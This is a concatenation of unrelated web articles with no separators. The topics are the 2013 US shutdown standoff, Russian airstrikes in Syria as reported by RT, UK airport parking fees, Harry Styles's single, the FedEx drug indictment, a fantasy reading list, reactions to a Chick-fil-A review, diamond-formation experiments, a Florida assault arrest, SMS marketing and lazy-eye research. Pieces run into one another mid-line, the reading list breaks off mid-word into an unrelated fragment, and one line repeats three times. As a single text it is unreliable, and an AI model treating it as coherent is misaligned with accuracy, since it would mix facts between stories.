Sept. 29, 2013 Cathryn Carroll of the District yells at Republican House members outside the Capitol as they called on Senate Majority Leader Harry Reid (D-Nev.) to summon the Senate back to vote on their budget bill. The United States is bracing for a partial government shutdown after the White House and congressional Democrats declared that they would reject a bill approved by the Republican-led House to delay implementing President Obama's signature health-care law. Cliff Owen/AP
Republicans and Democrats on Capitol Hill are scrambling before the Oct. 1 deadline. If a spending plan isn’t passed, many federal agencies will close their doors.
Republicans and Democrats on Capitol Hill are scrambling before the Oct. 1 deadline. If a spending plan isn’t passed, many federal agencies will close their doors.
Republicans and Democrats on Capitol Hill are scrambling before the Oct. 1 deadline. If a spending plan isn’t passed, many federal agencies will close their doors.
The U.S. government appeared on Sunday to be on the verge of shutting down for the first time in nearly two decades as House leaders were running out of time and options to keep it open.
House Majority Whip Kevin McCarthy (R-Calif.) declined to say on “Fox News Sunday” whether Republicans would consider the only plan President Obama and other Democratic leaders insist they will accept: a simple bill that funds federal agencies without dismantling any part of Obama’s signature 2010 health-care law. Instead, he said, Republicans were headed in a different direction, one likely to set up yet another late-night showdown.
McCarthy predicted that the House will “send another provision not to shut the government down but to fund it. And it will have a few other options in there for the Senate to look at.”
Unlike other budget crises of the past three years, this one was unfolding in slow motion. The halls of the Capitol were dark Sunday. There were no negotiations, and neither the House nor the Senate was in session.
The next move belonged to Senate Majority Leader Harry M. Reid (D-Nev.), who has vowed to reject measures the House approved early Sunday to delay the health law for one year, repeal a tax on medical devices and guarantee that paychecks are sent to active-duty military service members, even in the event of a shutdown.
The 1995 government shutdowns were bad for Republicans — but politically, the GOP could have much more to lose this time around. (The Washington Post)
Senators are hardly rushing back to Washington. They are not due at the Capitol until lunchtime Monday, when Reid will move to table the House amendments. That exercise requires a simple majority and can be accomplished solely with Democratic votes.
By midafternoon, House GOP leaders are likely to again be facing a decision about how to handle the simple six-week government funding bill the Senate approved last week.
On Sunday, House Speaker John A. Boehner (R-Ohio) fumed about Reid’s lack of urgency. “If the Senate stalls until Monday afternoon... it would be an act of breathtaking arrogance,” Boehner said in a written statement.
Behind the scenes, however, House Republicans still had not figured out how to respond.
Among the options, according to senior GOP aides:
●Trying again to repeal the medical-device tax. The tax, a 2.3 percent levy on sales of medical devices such as hip implants and defibrillators, is projected to raise about $30 billion over the next decade to help cover the cost of expanding health-insurance coverage.
Device manufacturers have complained, and neither party is wild about the tax. Early Sunday, 17 Democrats voted with House Republicans to repeal it. Earlier this year, the Senate voted 79 to 20 to repeal and replace it.
Still, repealing the tax would not stab at the heart of the health-care law, and it is not clear how much support the strategy would muster among House conservatives. Meanwhile, even many Democrats who have campaigned against the tax say they will not break ranks on the government-funding bill.
Sen. Richard J. Durbin (D-Ill.), for example, said on CBS’s “Face the Nation” that he is willing to discuss the tax, but “not with a gun to my head, not with the prospect of shutting down the government.”
●Attacking a different part of the health-care law, such as a special board created to keep Medicare costs low. The Independent Payment Advisory Board was derided as a “death panel” during the 2009 debate over the health law. It remains so politically toxic, congressional Republicans have refused to recommend members. But this option would probably face the same hurdles as repealing the device tax.
●Proposing to eliminate health-insurance subsidies for lawmakers and their staff members. This idea is so explosive on Capitol Hill, aides in both parties say it would amount to a declaration of all-out war. It probably has no hope of passage. But if the House could approve it, Senate Democrats would be left to take the blame for shutting down the government to keep their own health benefits.
Another advantage: It would throw a bone to right-wing groups that have declared the long-standing employer subsidies a “special exemption” now that lawmakers are required to enter the new health-insurance exchanges.
Still, many rank-and-file Republicans — especially those who are not wealthy, are not married to working spouses with insurance or are caring for sick children — are opposed to this option. Senior GOP lawmakers and aides in several House leadership offices said the House is not likely to pursue it.
●Forgetting about the add-ons — putting the Senate government funding bill on the floor and letting it pass with a combination of Democratic and Republican votes. This probably would have been easier two weeks ago. But after all the drama over defunding Obamacare, it is not clear that House leaders could muster two dozen votes to help the chamber’s 200 Democrats pass the measure — at least not until conservatives have felt the pain of a government shutdown.
As Republican leaders mulled the possibilities, others in the GOP began bracing for the political fallout. A recent CBS News-New York Times poll found that 44 percent of the public would blame Republicans and 35 percent would blame Obama and the Democrats for a shutdown. Sixteen percent would blame both parties equally.
“Look, I don’t want a government shutdown,” said Sen. Ted Cruz (R-Tex.), who has led the charge to use the threat of a shutdown to dismantle the health law. “I don’t think Harry Reid should shut down the government,” Cruz said on NBC’s “Meet the Press,” implying that a shutdown would be entirely Reid’s decision.
About a quarter of the public supports the idea of shutting down the government to defund Obamacare. But more than half of conservative Republicans support it, according to a recent Washington Post-ABC News poll. For lawmakers in deep-red districts, that is the slice of public opinion that matters.
On Sunday, Republicans tended to argue that they were trying to compromise with Obama and the Democrats to avoid a shutdown while pursuing conservative principles.
“I have said all along it is not a good idea to shut down government,” Sen. Rand Paul (R-Ky.) said on “Face the Nation.” “But I also think that it is not a good idea to give the president 100 percent of what he wants on Obamacare.”
When host Bob Schieffer noted that Obamacare is already the law, Paul said that is why Republicans are offering a “new compromise.”
Instead of “getting rid of his signature achievement,” Paul said, Republicans want merely to delay it “to make sure that it doesn’t totally destroy the insurance market in our country.”
Paul Kane, Peyton Craighill and Scott Clement contributed to this report.Syria (RT) — Islamic State militants have lost “most” of their ammunition, heavy vehicles and equipment in Russian airstrikes, the Defense Ministry said Tuesday. At least 86 ISIS targets were hit during 88 sorties in the last 24 hours.
Sukhoi Su-24M and Su-34 bombers, together with Su-25SM ground support aircrafts targeted Islamic State (IS, formerly ISIS/ISIL) sites in the provinces of Raqqah, Hama, Idlib, Latakia and Aleppo, according to the ministry. The jets hit command posts, ammunition and armament depots, military vehicles, plants producing explosives, field camps and bases.
#SYRIA Russian air strikes resulted in elimination of the most part of #ISIS ammunition, heavy vehicles and equipment — Минобороны России (@mod_russia) October 13, 2015
Su-24M bombers also targeted an IS field headquarters near the city of Anadan in the province of Aleppo from which the terrorists coordinated their activities. There was an ammunition depot at the site, the ministry said.
One more IS field post was destroyed near the city of al-Bab in Aleppo Province.
#SYRIA The terrorists activated all their logistics net to transport ammo and fuel from #Raqqah province — Минобороны России (@mod_russia) October 13, 2015
A new set of videos was released showing targets hit in Latakia and Hama.
An Su-34 bomber airstrike completely destroyed a bunker with an ammunition depot near Latamna in the province of Hama, the ministry said in a press release.
According to intercepted communications, the militants suffer from shortages of ammunition, small arms and grenade guns. Several commanders allegedly say they will withdraw their units unless their ammunition needs are satisfied.
“Russian airstrikes resulted in the elimination of the majority of ISIS ammunition, heavy vehicles and equipment,” the Defense Ministry tweeted.
Russia launched its anti-IS military operation in Syria on September, 30, at the request of the Syrian government. Western countries have voiced concerns that Russia rather targets moderate opposition in Syria, but Moscow says it is after terrorist groups such as IS and Al-Nusra Front.
“[Western countries] say we are bombing false targets. On Sunday US air forces targeted a power station and a transformer in Aleppo. Why did they do it? Whom did they punish? What was the sense? That is unclear,” Russian President Vladimir Putin said on Tuesday.
Meanwhile, Russia’s Ministry of Defense has prepared an agreement concerning the safety of flights in Syria and sent it to US Secretary of Defense Ashton Carter, who confirmed that talks are being held. However, no agreements have yet been reached, RIA Novosti reported.Some increased charges as much as 100% in a year while others introduced new fees, with London Luton the most expensive at £7 for 40 minutes, said RAC
Some of the UK’s busiest airports have sharply increased parking charges for drivers collecting passengers, a study has found.
Flight delays and cancellations: your rights explained Read more
Research by the RAC found that eight of the top 20 airports have increased pick-up fees this year. It advised drivers to “keep goodbyes to a minimum” as five airports have also raised fees for dropping off departing passengers.
Motorists will view the increases as “another way of making money out of them” said an RAC spokesman, Simon Williams. Anyone driving family or friends to or from an airport should check prices in advance “or be prepared for an unpleasant shock” he added.
Charges rose by as much as 100% in the past year while some airports introduced fees that did not previously exist.
Motorists collecting family or friends from London Luton are charged the most in the UK at £7 for 40 minutes, according to the report. This is followed by London Stansted (£5 for half an hour) and Birmingham (£4.90 for one hour).
London Stansted demands the highest fee for dropping off passengers at £3.50 for 10 minutes, 50p more than the amount charged by London Luton for the same time.
Liverpool John Lennon is the third most expensive for “kiss and fly” journeys at £3 for 20 minutes, although a secondary drop-off area involving a walk of five to 10 minutes is free.
Williams said: “The eye-watering drop-off and pick-up costs at some airports is likely to be viewed by drivers as another way of making money out of them, particularly in instances where public transport to and from the airport simply isn’t a viable option.
“This year many airports have increased the already sky-high prices they charge for short-stay parking near their departure and arrival terminals making a good deed a costly experience. Drop-off charges are the biggest bone of contention as for many they appear severe when they are simply pulling up for less than five minutes and often don’t even get out of the car themselves.”
Seven airports buck the trend by offering free drop-off parking by terminals: Heathrow, Gatwick, London City, Cardiff, Manchester, Belfast City and Jersey.
A spokesman for the Airport Operators Association said income from parking supports investment in facilities and “allows airports to keep charges to airlines low, benefiting travellers through lower air fares”.
He said airports provide clear information about the cost of parking options, meaning passengers have a “high level of awareness of the different ways they can choose to get to the airport, ranging from public transport to travelling by car”. The spokesman added that airports set drop-off charges for a variety of reasons, including to manage congestion and limit the environmental impact of journeys.
Here is the cost of dropping off passengers, based on recommended set-down parking:
RANKING IN ORDER OF MOST EXPENSIVE – AIRPORT – INITIAL RATE 2017 – INITIAL RATE 2016 – INCREASE
1. London Stansted – £3.50 for 10 minutes – £3 for 10 minutes – 50p
2. London Luton – £3 for 10 minutes – £3 for 10 minutes – no change
3. Liverpool John Lennon – £3 for 20 minutes – £2 for 20 minutes - £1
4. Leeds Bradford – £3 for 30 minutes – £3 for 30 minutes – no change
=5. Birmingham – £2 for 10 minutes – £1 for 10 minutes - £1
=5. Glasgow International – £2 for 10 minutes – free – £2
=5. East Midlands – £2 for 10 minutes – £2 for 10 minutes - no change
8. Aberdeen – £2 for 15 minutes – £2 for 15 minutes – no change
9. Edinburgh – £1 for five minutes – £1 for five minutes – no change
=10. Belfast International – £1 for 10 minutes – £1 for 10 minutes – no change
=10. Bristol – £1 for 10 minutes – £1 for 10 minutes – no change
=10. Newcastle – £1 for 10 minutes – £1 for 10 minutes – no change
=10. Southampton – £1 for 10 minutes – free – £1
=14. London Heathrow, London Gatwick, Manchester, Belfast City, Cardiff, London City and Jersey all have no charge
Cost of collecting passengers, based on minimum stay charges:
RANKING IN ORDER OF MOST EXPENSIVE – AIRPORT – INITIAL RATE 2017 – INITIAL RATE 2016 – INCREASE
1. London Luton – £7 for 40 minutes – £7 for 40 minutes – no change
2. London Stansted – £5 for 30 minutes – £4.50 for 30 minutes – 50p
3. Birmingham – £4.90 for 60 minutes – £4.70 for 60 minutes – 20p
4. Manchester – £4 for 30 minutes – £4 for 30 minutes – no change
5. Edinburgh – £3.90 for 15 minutes – £3.90 for 15 minutes – no change
=6. London Gatwick – £3.80 for 30 minutes – £3.50 for 30 minutes – 30p
=6. London Heathrow – £3.80 for 30 minutes – £3.60 for 30 minutes – 20p
8. East Midlands – £3.50 for 30 minutes – £3 for 30 minutes – 50p
9. London City – £3.50 for 10 minutes – £2.50 for 10 minutes – £1
10. Glasgow – £2 for 10 minutes – £2 for 10 minutes – no change
11. Aberdeen – £2 for 20 minutes – £2 for 20 minutes – no change
=12. Belfast International – £1 for 10 minutes – £2 for 15 minutes – changed bands
=12. Newcastle – £1 for 10 minutes – £1 for 10 minutes – no change
=12. Cardiff – £1 for 10 minutes – free for 20 minutes – £1
=12. Southampton – £1 for 10 minutes – free for 10 minutes – £1
16. Bristol – £1 for 20 minutes – £1 for 20 minutes – no change
17. Jersey – 70p for 30 minutes – 70p per 30 minutes – no change
18. Belfast City – free for 10 minutes – free for 10 minutes – no change
19. Liverpool John Lennon – free for 40 minutes – free for 20 minutes – 20 minutes
20. Leeds Bradford – free for 60 minutes – free for 60 minutes – no change'It's just about the state of the world at the moment'
Harry Styles has revealed that his No.1 single ‘Sign Of Times’ is about Brexit and the Black Lives Matter movement.
The One Direction star releases his self-titled debut solo album today. After previously saying that the lyrics to lead single ‘Sign Of The Times’ had a surprisingly dark meaning in dealing with the death of a young mother shortly after giving birth, he’s now revealed an added political inspiration.
When the New York Times if recent events around Brexit, Black Lives Matter and the rise of Donald Trump influenced his songwriting, Styles replied: “We’re in a difficult time, and I think we’ve been in many difficult times before. But we happen to be in a time where things happening around the world are absolutely impossible to ignore. I think it would’ve been strange to not acknowledge what was going on at all. For example, ‘Sign of the Times,’ for me, it’s looking at several different things. That’s me commenting on different things.”
Confirming that it dealt with Brexit, Trump and Black Lives Matter, Styles said he was mainly inspired by ‘the state of the world at the moment’.
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“It’s very much me looking at that,” he added. “It’s a time when it’s very easy to feel incredibly sad about a lot of things. It’s also nice sometimes to remember that while there’s a lot of bad stuff, there’s also a lot of amazing people doing amazing things in the world.”Danny Cevallos is a CNN legal analyst, criminal defense attorney and partner at Cevallos & Wong, practicing in Pennsylvania and the U.S. Virgin Islands. Follow him on Twitter: @CevallosLaw. The opinions expressed in this commentary are solely those of the author.
(CNN) The United States Department of Justice has named a new defendant in the war on drugs, and the charges are serious indeed.
Who is this menace to society?
FedEx.
Yes, the courier delivery service.
Wait, can companies even be charged with crimes? Where would a FedEx be incarcerated? Is there a corporate Shawshank Prison? How does one fit a company for a prison jumpsuit?
It turns out a corporation can indeed be prosecuted like a person. It's a practice the Supreme Court has approved of for over a century. In fact, in many ways they are easier to prosecute than people. Corporations don't have all the same inconvenient constitutional rights as citizens accused of crimes. Imprisoning convicted citizens is expensive, but corporate convictions, on the other hand, turn tidy profits for the U.S. government, with zero prison overhead.
Even if corporations can be held criminally liable, should a courier service like FedEx be held liable for "possessing" what bad guys may send through the service?
It has a point.
"Possession" is an elusive concept. When it comes to drugs, the law recognizes two kinds of possession: actual and constructive. Actual possession is when you have physical control over the contraband. When you have a gun in your hand or drugs in your pocket, you "actually" possess those things.
The somewhat hazier concept of "constructive possession" means you can "possess" something without even having it on your person, as long as you have ownership, dominion or control over the contraband or the property where it is found. For example, the government would argue that while you may not have actual possession of the 5,000 OxyContin pills in the trunk of your car parked in your driveway, you "constructively" possessed them.
Conversely, sometimes you can be holding something in your hand or have it in your vehicle, but not "possess" it either actually or constructively, in the eyes of the law.
Such is the case with couriers who routinely drive to your home, walk up to your door and hand you a package, completely ignorant about what is inside it. It's hard to argue the UPS guy intentionally "possessed" your subscription to porno mags, in their nondescript brown packaging. That is the idea behind the "common carrier" exception to possession, and a large part of FedEx's compelling legal argument.
A "common carrier" is one who offers its services to members of the public -- without much discretion -- and is engaged in the business of transporting persons or property for compensation.
The public policy reasons behind "common carrier" exemptions make sense; the industry simply couldn't function if every driver, courier and handler who touches a valid shipment of OxyContin had to obtain a prescription for opiates to be legally allowed to deliver it to your front door. That would lead to an absurd result.
Of course, this is not a permission slip for drug runners to avoid liability by calling themselves "common carriers." That's why the "usual course of business" language acts as an additional safety measure.
In court papers, FedEx's lawyers offer the example of an airline whose sole activity was flying controlled substances from Jamaica to Miami. This would not be acting in the usual course of business of a common carrier, since this imaginary airline is not offering its services to the public, generally.
On the other hand, FedEx argues that it is indeed a common carrier, performing the normal duties of a common carrier, because (a) it is engaged in the business of transportation of property and (b) it offers its services to the public generally.
It's hard to imagine extending liability to common carriers for possession of contraband. Does this mean a Greyhound bus driver becomes liable for marijuana possessed by a passenger? The bus driver would argue he has no reason to know if a particular passenger is carrying drugs. But if the guy boards the bus with a Grateful Dead T-shirt and a set of bongos, shouldn't the driver at least have a hunch? That seems dangerously close to profiling. Is this another illogical straw man argument? Maybe.
According to the indictment, from at least as early as 2004, the Drug Enforcement Administration, the Food and Drug Administration, and members of Congress put FedEx on notice that illegal Internet pharmacies were using its shipping services to distribute controlled substances and prescription drugs in violation of the Controlled Substances Act, the Food, Drug, and Cosmetic Act, and numerous state laws.
The indictment alleges that as early as 2004, FedEx knew that it was delivering drugs to dealers and addicts. FedEx's couriers in Kentucky, Tennessee, and Virginia expressed safety concerns that were circulated to FedEx senior management. The DOJ is making the argument that even though FedEx carries and delivers whatever is handed to it by the public, FedEx knew or should have known in specific instances that it was involving itself in suspicious drug activity.
It raises a larger question, though: Why do we prosecute inanimate objects that we can't even incarcerate? The answer is the same reason that the drug dealers deal drugs, and drug smugglers smuggle them: Money. Power.
The government in these cases gets to impose its will and policy upon large corporations -- in this case, it would be to force FedEx to help law enforcement in policing shady pharmaceutical transportation. The government also gets to extract gargantuan sums of money from corporations in "deferred prosecution agreements."
The reason you don't see a lot of corporate trials is because most companies prefer to enter into such agreements ; for a company, a public prosecution alone would be tantamount to a death sentence, whether or not it's found guilty. Still, every defense attorney would love to offer the option to his or her human clients of avoiding felony conviction and a potential life sentence -- by agreeing to pay some fines.
Don't get me wrong: I'm all about prosecuting the black market, especially if that means prosecuting the guys who send us those spam emails to our work accounts with "V1AGRA" in the subject line, for our co-workers to see while we go to the bathroom. I want those guys locked up for sure. I'm just not sure that FedEx has anything to do with the kingpins of the "FR33 CYALIS" email campaign.
The DOJ's underlying intentions are noble enough -- this is an attack on the supply line of the illegal drug market by attacking the actual supply chain. It makes good strategic sense. It might seem like good financial sense in the short run, with the millions in fines extracted from corporations, but that money has to come from somewhere.
It's just a matter of time before that trickles down to job cuts and less leg room on our flights. It probably doesn't make good legal sense either. Yes, we have been treating corporations as fictional "persons" for centuries in some ways -- but it's silly to treat them as persons in all ways. FedEx has a strong argument for dismissal in this case, but even if not, it won't be swapping its logo orange for prison orange anytime soon.Like misfortunes, fantasy novels rarely come singly.
Maybe it’s because the great grand-daddy of the genre, J.R.R. Tolkien, wrote a trilogy with an in-universe standalone novel and collection of related material. Maybe it’s just good business to write a series.
Whatever the reason, it can feel like a commitment to pick up a new fantasy. You could be in for one book, or three, or you know, a jillion.
Unless of course, that book is the rarest of all speculative novels — a stand-alone.
Stand-alone fantasy novels are beautiful things. You read one book, and get one complete story, with all the resolution you need. You can close the book with a satisfying thunk at the end, knowing that the characters have completed their journeys, and that all the ends are more or less tucked in neatly.
If you like your fantasy to come packaged in one convenient volume, here is a list of one-book fantasies.
(Full disclosure, guys: I haven’t read all of them yet. This is a reading list I researched for myself.)
For this list, I stuck to two rules. The books had to be published more or less recently (the oldest book here is from 2008), and they had to be true stand-alones, not part of an author’s pre-existing fictional universe; just one perfect bubble of fiction, floating on its own.
Uprooted by Naomi Novik
Named one of the best books of 2015 by NPR, Uprooted is a fairy tale featuring a peasant girl, a kingdom in danger, wizards, and the deep, dark woods. This may sound like a well-worn fairy tale, but this book is incredible. It’s filled with magic, and the villain is truly frightening. I’m listening to the audiobook, narrated by Julia Emelin, (whose voice is almost hypnotic). I’ve been glued to my headphones ever since I picked it up. I started listening to this book for the magic, but I stayed because I fell in love with the willful protagonist, Agnieszka.
Redemption in Indigo by Karen Lord
Redemption in Ind |
10 quick-service restaurant that doesn’t mention sexual orientation in its online equal opportunity statement, and that it holds a zero rating on LGBT benefits and worker protections from a prominent advocacy group. McDonald’s scored 100. (When I asked Chick-fil-A about this, a rep responded with a general statement reaffirming its commitment to equal opportunity and said that it’s up to local franchisees to determine benefits.)
In other words, this is “Stalinist”:
This is a Stalinist urge: "I like this chicken joint but does the owner think correct thoughts about gay marriage?" https://t.co/p3NrG1ZR9R — Sohrab Ahmari (@SohrabAhmari) June 11, 2017
And we do wonder if Eater has ever asked any Middle-Eastern restaurant about these issues?
You probably should check back with every kebab & shawarma restaurant you've ever reviewed & ask their take on SSMhttps://t.co/KkbFJJJFiy — David Burge (@iowahawkblog) June 11, 2017
Can you just review the food, eh?
LMAO
Eater going full ESPN now https://t.co/Csy6JIqBhv — Comfortably Smug (@ComfortablySmug) June 10, 2017
Review: You probably shouldn't let politics infect things like whether you eat a chicken sandwich, killjoys. https://t.co/JuHbx7LY9U — Mo Mo (@molratty) June 11, 2017
Radical thought: food blogs should focus on…whoa…wait for it…FOOD. https://t.co/8nXVoPb8O2 — Peter Cook (@_Peter_Cook) June 11, 2017
But too be honest, this review won’t stop anyone:
I’m at a Chick-Fil-A right now. GFY https://t.co/dQQd6usSHh — The H2 (@TheH2) June 10, 2017
Thanks. Now I know you aren't a serious food site & can save time by ignoring your nonsense https://t.co/oB2KDIHatb — Boris_Badenoff (@Boris_Badenoff) June 11, 2017
Or maybe this review will actually help the company?
Dear Leftists: Everytime U pull this SJW crap, people like me do the opposite. I'll be in line of breakfast on Monday. https://t.co/ljFSZ3KkHR — Reality Leaker (@Mellecon) June 11, 2017
And now for the worst part of the review:
Thank you @qualityrye for bravely going where few have dared: Chick-fil-A offers "a pretty average chicken sandwich."?????? https://t.co/xVAL24rkEN — Megan Carpentier (@megancarpentier) June 9, 2017
Delete your website.
***Russian researchers follow how diamond forms under the Earth's crust
Subduction zones – boundaries between tectonic plates where the Earth's crust sinks into the hot mantle – could be breeding grounds for diamond formation, according Russian researchers. Experiments have revealed the redox reactions that drives diamond formation and explain diamond’s compositional variation, thereby improving our understanding of the processes at work deep inside the Earth.
Although diamond is almost 100% carbon, its physical and chemical properties can vary due to tiny inclusions of minerals and fluids. 'Contrasting heterogeneity of diamond – as seen in the composition of inclusions, nitrogen content and carbon isotopic composition – is one of the most debateable questions of diamond genesis,' says Yuri Palyanov, lead author of the study at the Russian Academy of Sciences in Novosibirsk.
Until now, redox reactions were simply assumed in many diamond formation models but the true mechanism involved remained uncertain. The heterogeneity of diamonds was thought to be a consequence of different isotopic characteristics of carbon materials available at different stages of diamond crystallisation or due to compositionally contrasting agents in the crystallisation medium.
'No experimental studies on diamond formation under conditions found at subduction zones have been performed before our work,' says Palyanov. 'In our work, we demonstrate for the first time that significant heterogeneity can be associated with essentially one process and one carbon source, and assessed the possible scale of the phenomenon.'
The team conducted high pressure, high temperature experiments in chambers that mimicked conditions found at subductions zones. They found that oxidised crust minerals interact with reduced metal-saturated rocks in the mantle below. At temperatures above 1000°C magnesium carbonate and calcium carbonate reacted with iron to form new minerals including iron carbide and graphite.
However, at temperatures above 1200°C and at pressures around 74,000 times atmospheric pressure the team observed a gradient of oxidation states. They saw that in the zone between the carbonates and the iron, diamonds up to a millimetre in diameter formed. Analyses revealed that diamonds that formed in oxidised conditions contained more nitrogen impurities than those formed in reduced conditions.
Palyanov notes that diamond naturally forms under a wide range of temperature, pressures and oxygen concentrations. 'The experimentally reproduced mechanism here is only one of many possible ones,’ he says. ‘We believe that diamonds, formed according to this mechanism could be both of gem and industrial grades.'
'High pressure high temperature experiments, like those reported by Palyanov and co-workers, provide us with direct evidence of the processes and crystal growth mechanisms taking place at these redox fronts,' comments Dan Howell, who investigates diamond formation at Macquarie University, Australia. 'As their results show, a better understanding of these redox processes throughout the entire mantle, not just at deep subduction zones, will greatly benefit our interpretations of this important but inaccessible region of Earth.'LAUDERHILL, Fla. - A man was arrested Sunday after he attacked two people in Lauderhill for no apparent reason, police said.
According to an arrest report, Jovaughn Walker, 22, entered a Shell Service Station at 1901 N. State Road 7 just after 10 a.m. and attacked a customer with a metal shelving pole that he had been carrying in his pocket.
Police said Walker then drove off in a 2003 Ford Ranger that had been reported stolen during a carjacking in Deerfield Beach.
While officers were investigating the incident, police received a call about a man inside the Swap Shop, 3291 W. Sunrise Blvd., attacking a booth employee.
Jovaughn Walker is accused of randomly attacking two people in Lauderhill.
Police said Walker grabbed a 3-foot Samurai sword from a store display and "without provocation or any words" began chasing the employee through the flea market with it. Police said Walker swung the sword at the employee, striking the victim at least eight times.
According to the report, Walker "began making statements about seeing (a) poltergeist and wanting to kill all that was evil."
Both victims were treated at area hospitals and released.
Walker faces charges of aggravated battery and attempted murder.
Copyright 2016 by WPLG Local10.com - All rights reserved.Using mass text messaging for mobile marketing campaigns is exploding right now. As businesses and organizations realize mobile usage and SMS for marketing aren’t just fads, marketers are increasingly trying to learn the ins and outs of mass text massaging and how it can impact their strategies. Our devices have become integral to our everyday lives and that has implications for marketers. Whether it’s a mobile website, mobile search or text marketing, chances are your business could benefit from some mobile attention.
Don’t believe us? Maybe these statistics will change your mind. Check out the infographic below which covers all 32 stats we’ve pulled together.
5 Statistics that prove mobile phones have taken over
You don’t need statistics to tell you that everyone is on their phone these days, but maybe you didn’t realize just how many activities people use their phones for. A few years ago it might have seemed crazy to talk about making a serious purchase from your phone, but in today’s world, that’s the norm.
If your business marketing plan doesn’t have a mass text messaging strategy in place, you might want to start rethinking that — and fast! Research shows that SMS is become a more impactful way to engage with your clients.
In layman’s terms: basically, everyone has their phone with them at all times. Most people even have their phones near their bed while they sleep! If you’re looking for a direct way to reach someone, you’ve found it. So if you know that you can almost always reach any adult at any time through their phone, why wouldn’t you take advantage of that in your marketing plan?
The days of needing to remember facts, addresses, phone numbers, recipes or, well, basically anything, are now over. Nowadays search engines are the new go-to when people need to look up anything from a basic fact to an existential question. People are on their phones looking for products and services in real time. Now, how handy would it be if you could find a way to communicate with those people when they’re looking for the very good or service you’re best positioned to help them with?
There are a lot of shopping apps and mobile-friendly sites out there that make it easy to buy everything from clothes to groceries to concert tickets from your phone. A majority of consumers are shopping directly from their phone.
If you’re not optimizing your website for mobile yet, you’re missing out. At least that’s the sentiment of up to 79% of small business leaders who sense customers are more engaged when interacting on a mobile website. A 2017 study of consumers supports this sentiment, 69% of smartphone users said they were likely to make a purchase from a company with a mobile site that clearly addressed their concerns.
It can be really hard to know who to target with a special promotion and when to reach out to them. Current research can help take some of the guesswork out of this marketing strategy. Statistics show that a majority of Americans actually want brands to give them exclusive deals
How to Use Mass Text Messaging the Right Way
By now it might be clear that reaching consumers when they’re on their phones is one of the strongest ways to make a valuable connection and drive action. Even though that might seem obvious, there’s still a question of how to go about incorporating mass text messaging into your marketing plan.
There are a few key ideas that can guide your creativity as you look into how to best take advantage of the opportunities of mass text messaging.
Consider Mobile Coupons
Research shows that 22% of mobile coupons are shared with at least one friend. What’s even more impressive is that a whopping 95% of mass text messaging coupons are opened with the first five minutes. They’re certainly a better bang for your buck than magazine and newspaper coupons, mobile coupons are shared 10 times more often than their paper counterparts. If you’re wondering how you can get into the mass text messaging game, a mobile coupon might be the perfect solution.
Create a Mobile Loyalty Reward Program
Remember the days when your wallet would balloon with paper loyalty reward cards? The worst part about these programs is that customers often forget or misplace their cards, which erodes the effectiveness of the entire program. Instead, try a modern twist on the loyalty program with a text messaging marketing program that will add value to your customer’s life and get them in the door of your store more often.
Grow Your Mailing List
Your goal might not be to bring people into a store or incite an immediate purchase decision, but maybe it’s to move them along a purchase funnel. In that case, you can use mass text messaging to drive traffic to your website or to increase opt-ins for your email marketing campaigns.
Should You Add Mass Text Messaging or SMS to Your Marketing Plan?
What we know for sure is people are attached to their phones now more than ever — and it doesn’t look like that’s going away soon. Statistics show consumers make purchase decisions from their smartphones and they’re open to hearing from brands through their devices. It seems that mass text messaging can create win-win scenarios for consumers and marketers in many cases. By testing your strategies and monitoring your marketing return on investment, you can experiment with new forms of marketing and make sure you find the perfect fit for both your business and clients.
If you’re interested in learning more about mobile marketing, you can check out our SMS Marketing Guidebook. It will bring you up to speed on everything you need to know to grow your business with text message marketing.Treatment times for amblyopia -- more commonly known as 'lazy eye' -- could be drastically reduced thanks to research carried out at The University of Nottingham.
Amblyopia is thought to affect up to 2.5 per cent of people and accounts for around 90 per cent of all children's eye appointments in the UK. Occlusion therapy -- patching the normal eye for lengthy periods to 'train' the affected eye -- is the main treatment for amblyopia. However, this method can be distressing to children, is unpopular with parents and can adversely effect educational development. This type of therapy has been used in various forms since 1743 and has long been considered to only be effective up until late childhood.
The new treatments developed in the Visual Neuroscience Group in the University's School of Psychology have not only reduced potential treatment times by an unprecedented amount, they have also proved that it is possible to treat amblyopia in adults. Early results suggest gains, that would have required around 120 hours of occlusion therapy to achieve, can be produced after just 10 hours.
Adult test subjects have undertaken challenging visual tasks under computer-controlled conditions. Academics hope that these promising results could be used to develop a child-friendly game that could treat amblyopia. There is also the potential to use these new treatments to supplement occlusion therapy.
The £60,000 project -- A Study of Perceptual Learning Effects in Amblyopia -- has been funded by the College of Optometrists. Amblyopia is a developmental problem in the brain, not the eye. The part of the brain dealing with vision from the affected eye develops abnormally as a result of atypical visual experience early in life. This results in markedly different levels of vision in each eye which cannot be remedied with spectacles.
As well as looking at potential treatments for the condition, the study examines the level of neural plasticity in the adult brain -- the ability of a neural system to change with experience.
The work is being carried out by Andrew Astle, a PhD student at the University.
"The results so far show a drastic improvement on patching, and disprove the long-held belief that adults cannot be treated for this type of condition," Andrew said. "However, the study is not complete and we're still looking for subjects to take part in the tests."
Work set to start in spring 2009 at the University will build on Andrew's results, examining amblyopia in children and examining the functional and structural organisation of the visual cortex. This EU-wide study has been funded by a European Consortium FP7 grant to the tune of 2.6m Euro. Professor Paul McGraw and Dr Ben Webb in the Visual Neuroscience Group will look at the effects and treatment of amblyopia in children. Other European institutions, including the University of Florence, the Max Planck Institute for Neuroscience and University College London, will examine the condition from the molecular level to its behavioural impact on animal models.
It is thought that results from this study could be translated to other conditions where recovery is limited due to restricted neural plasticity -- including brain tumours, stroke, degenerative diseases and trauma.
Professor McGraw said "Andrew's results suggest that the adult amblyopic visual system retains a great deal more neural plasticity than previously thought. Harnessing this plasticity offers a new way of treating this common condition and opens the door to developing novel pharmacological and behavioural interventions for a range of neurological deficits."
###
Notes to editors: The University of Nottingham is ranked in the UK's Top 10 and the World's Top 100 universities by the Shanghai Jiao Tong (SJTU) and Times Higher (THE) World University Rankings.
It provides innovative and top quality teaching, undertakes world-changing research, and attracts talented staff and students from 150 nations. Described by The Times as Britain's "only truly global university", it has invested continuously in award-winning campuses in the United Kingdom, China and Malaysia. Twice since 2003 its research and teaching academics have won Nobel Prizes. The University has won the Queen's Award for Enterprise in both 2006 (International Trade) and 2007 (Innovation -- School of Pharmacy), and was named Entrepreneurial University of the Year at the Times Higher Education Awards 2008.
